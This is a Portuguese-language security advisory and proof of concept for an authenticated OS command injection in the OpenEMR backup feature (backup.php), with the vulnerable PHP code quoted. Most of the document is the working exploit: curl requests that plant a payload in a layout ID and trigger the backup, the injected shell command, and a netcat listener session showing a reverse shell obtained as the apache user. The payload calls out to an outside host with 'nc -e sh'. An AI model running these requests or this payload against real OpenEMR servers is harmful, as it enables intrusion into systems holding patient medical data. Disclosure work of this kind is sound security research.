
Vulnerabilidade de execução remota de código no OpenEMR <8.0.0.2.
Fragilidade CWE-78 : Neutralização Incorreta de Elementos Especiais usados em um Comando do SO ('OS Command Injection')
O produto constrói todo ou parte de um comando do SO usando entrada influenciada externamente de um componente a montante, mas não neutraliza ou neutraliza incorretamente elementos especiais que poderiam modificar o comando do SO pretendido quando enviado a um componente a jusante.
O OpenEMR <8.0.0.1 contém múltiplas vulnerabilidades de injeção de comando na funcionalidade de backup que podem ser exploradas por atacantes autenticados. A vulnerabilidade existe devido à validação insuficiente de entrada na funcionalidade de backup.
A vulnerabilidade ocorre na funcionalidade de backup onde múltiplos ID são escapados para SQL em uma instrução SQL embutida no comando do SO, mas não são escapados para o shell.
Esses valores de ID são confiáveis após verificar se as entradas fornecidas pelo usuário existem no banco de dados.
O usuário pode inserir qualquer valor nessas colunas SQL de ID concatenado ao comando do shell.
Resumo: Certos comandos do shell concatenam entrada fornecida pelo usuário sem sanitização adequada, o que pode levar a vulnerabilidades de injeção de comando. Isso permite que atacantes injetem comandos maliciosos no shell do SO.
A vulnerabilidade afeta as seguintes linhas:
interface/main/backup.php linhas 775, 776, 784, 786, 788 e 789 vulnerabilidades
interface/main/backup.php linhas 816, 818, 822, 824, 828, 831, 835 e 838 vulnerabilidades
interface/main/backup.php linhas 807 e 808, verifica se o valor existe.interface/main/backup.php linha 802, verifica se o valor não contém backtick.interface/main/backup.php linha 800, loop para cada valor dos dados POST.Para explorar essas vulnerabilidades, o payload deve ser armazenado em: list_options.option_id, list_options.list_id, layout_options.form_id ou layout_group_properties.grp_form_id.
if (!empty($form_sel_lists)) {
foreach ($form_sel_lists as $listid) {
if (str_contains((string) $listid, '`')) {
continue;
}
$listid_check = sqlQuery("SELECT `list_id` FROM `list_options` WHERE `list_id` = ? OR `option_id` = ?", [$listid, $listid]);
if (empty($listid_check['list_id'])) {
continue;
}
if (IS_WINDOWS) {
$cmd .= " echo 'DELETE FROM list_options WHERE list_id = \"" . add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . " & ";
$cmd .= " echo 'DELETE FROM list_options WHERE list_id = 'lists' AND option_id = \"" . add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . " & ";
$cmd .= $dumppfx . " --where=\"list_id = 'lists' AND option_id = '$listid' OR list_id = '$listid' " .
"ORDER BY list_id != 'lists', seq, title\" " .
escapeshellarg((string) $sqlconf["dbase"]) . " list_options";
$cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & ";
} else {
$cmdarr[] = "echo 'DELETE FROM list_options WHERE list_id = \"" .
add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";" .
"echo 'DELETE FROM list_options WHERE list_id = \"lists\" AND option_id = \"" .
add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";" .
$dumppfx . " --where='list_id = \"lists\" AND option_id = \"" .
add_escape_custom($listid) . "\" OR list_id = \"" .
add_escape_custom($listid) . "\" " . "ORDER BY list_id != \"lists\", seq, title' " .
escapeshellarg((string) $sqlconf["dbase"]) . " list_options" .
" >> " . escapeshellarg($EXPORT_FILE) . ";";
}
}
}
if (is_array($_POST['form_sel_layouts'] ?? '')) {
$do_history_repair = false;
$do_demographics_repair = false;
foreach ($_POST['form_sel_layouts'] as $layoutid) {
if (str_contains((string) $layoutid, '`')) {
continue;
}
$layoutid_check_one = sqlQuery("SELECT `form_id` FROM `layout_options` WHERE `form_id` = ?", [$layoutid]);
$layoutid_check_two = sqlQuery("SELECT `grp_form_id` FROM `layout_group_properties` WHERE `grp_form_id` = ?", [$layoutid]);
if (empty($layoutid_check_one['list_id']) && empty($layoutid_check_two['grp_form_id'])) {
continue;
}
if (IS_WINDOWS) {
$cmd .= " echo DELETE FROM layout_options WHERE form_id = \"" . add_escape_custom($layoutid) . "\"; >> " . escapeshellarg($EXPORT_FILE) . " & ";
} else {
$cmd .= "echo 'DELETE FROM layout_options WHERE form_id = \"" . add_escape_custom($layoutid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";";
}
if (IS_WINDOWS) {
$cmd .= "echo DELETE FROM layout_group_properties WHERE grp_form_id = \"" . add_escape_custom($layoutid) . "\"; >> " . escapeshellarg($EXPORT_FILE) . " &;";
} else {
$cmd .= "echo 'DELETE FROM layout_group_properties WHERE grp_form_id = \"" . add_escape_custom($layoutid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";";
}
if (IS_WINDOWS) {
$cmd .= $dumppfx . ' --where="grp_form_id = \'' . add_escape_custom($layoutid) . "'\" " .
escapeshellarg((string) $sqlconf["dbase"]) . " layout_group_properties";
$cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & ";
$cmd .= $dumppfx . ' --where="form_id = \'' . add_escape_custom($layoutid) . '\' ORDER BY group_id, seq, title" ' .
escapeshellarg((string) $sqlconf["dbase"]) . " layout_options" ;
$cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & ";
} else {
$cmd .= $dumppfx . " --where='grp_form_id = \"" . add_escape_custom($layoutid) . "\"' " .
escapeshellarg((string) $sqlconf["dbase"]) . " layout_group_properties";
$cmd .= " >> " . escapeshellarg($EXPORT_FILE) . ";";
$cmd .= $dumppfx . " --where='form_id = \"" . add_escape_custom($layoutid) . "\" ORDER BY group_id, seq, title' " .
escapeshellarg((string) $sqlconf["dbase"]) . " layout_options" ;
$cmd .= " >> " . escapeshellarg($EXPORT_FILE) . ";";
}
if (str_starts_with((string) $layoutid, 'HIS')) {
$do_history_repair = true;
}
if (str_starts_with((string) $layoutid, 'DEM')) {
$do_demographics_repair = true;
}
}
echo 'SET character_set_client = utf8;' > '/tmp/openemr_config.sql';echo 'DELETE FROM layout_options WHERE form_id = "<injection>";' >> '/tmp/openemr_config.sql';echo 'DELETE FROM layout_group_properties WHERE grp_form_id = "<injection>";' >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='grp_form_id = "<injection>"' 'openemr' layout_group_properties >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='form_id = "<injection>" ORDER BY group_id, seq, title' 'openemr' layout_options >> '/tmp/openemr_config.sql';
if (!AclMain::aclCheckCore('admin', 'super')) {
echo (new TwigContainer(null, $GLOBALS['kernel']))->getTwig()->render('core/unauthorized.html.twig', ['pageTitle' => xl("Backup")]);
exit;
}
Para este PoC, eu uso a coluna layout_group_properties.grp_form_id:
layout_group_properties.grp_form_id┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=de5348462330a02590ba31c91b2df758" --data 'csrf_token_form=57f25fd0b5172f9b9e692c4051e187486c83735c&formaction=addgroup&newgroupname=1&newgroupparent=1&&layout_id=LBF%22%27%3Bnc%20172.18.0.1%2021%20-e%20sh%20%23' 'http://172.18.0.3/interface/super/edit_layout.php'
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=de5348462330a02590ba31c91b2df758" --data 'csrf_token_form=57f25fd0b5172f9b9e692c4051e187486c83735c&form_step=102&form_cb_addlists=1&form_sel_lists[]=userlist1&form_sel_lists[]=userlist2&form_sel_lists[]=userlist3&form_sel_lists[]=LA28397-0&form_sel_layouts[]=LBF%22%27%3Bnc%20172.18.0.1%2021%20-e%20sh%20%23' 'http://172.18.0.3/interface/main/backup.php'
┌──(kali㉿kali)-[~]
└─$
MariaDB [openemr]> SELECT grp_form_id, grp_group_id FROM layout_group_properties;
+--------------------------------+--------------+
| grp_form_id | grp_group_id |
+--------------------------------+--------------+
| DEM | |
| DEM | 1 |
| DEM | 2 |
| DEM | 3 |
| DEM | 4 |
| DEM | 5 |
| DEM | 6 |
| DEM | 8 |
| FACUSR | |
| FACUSR | 1 |
| HIS | |
| HIS | 1 |
| HIS | 2 |
| HIS | 3 |
| HIS | 4 |
| HIS | 5 |
| LBF"';nc 172.18.0.1 21 -e sh # | 11 |
| LBTbill | |
| LBTbill | 1 |
| LBTlegal | |
| LBTlegal | 1 |
| LBTphreq | |
| LBTphreq | 1 |
| LBTptreq | |
| LBTptreq | 1 |
| LBTref | |
| LBTref | 1 |
| LBTref | 2 |
+--------------------------------+--------------+
28 rows in set (0.003 sec)
MariaDB [openemr]>
nc 172.18.0.1 21 -e sh
LBF"';nc 172.18.0.1 21 -e sh #
echo 'SET character_set_client = utf8;' > '/tmp/openemr_config.sql';echo 'DELETE FROM layout_options WHERE form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #";' >> '/tmp/openemr_config.sql';echo 'DELETE FROM layout_group_properties WHERE grp_form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #";' >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='grp_form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #"' 'openemr' layout_group_properties >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #" ORDER BY group_id, seq, title' 'openemr' layout_options >> '/tmp/openemr_config.sql';
Não sei se o netcat (nc) é necessário, mas ele está instalado por padrão no contêiner docker (é muito útil para este exploit).
┌──(root㉿kali)-[/home/kali]
└─# nc -lvnp 21
listening on [any] 21 ...
connect to [172.18.0.1] from (UNKNOWN) [172.18.0.3] 44041
whoami
apache
id
uid=1000(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache)
pwd
/var/www/localhost/htdocs/openemr/interface/main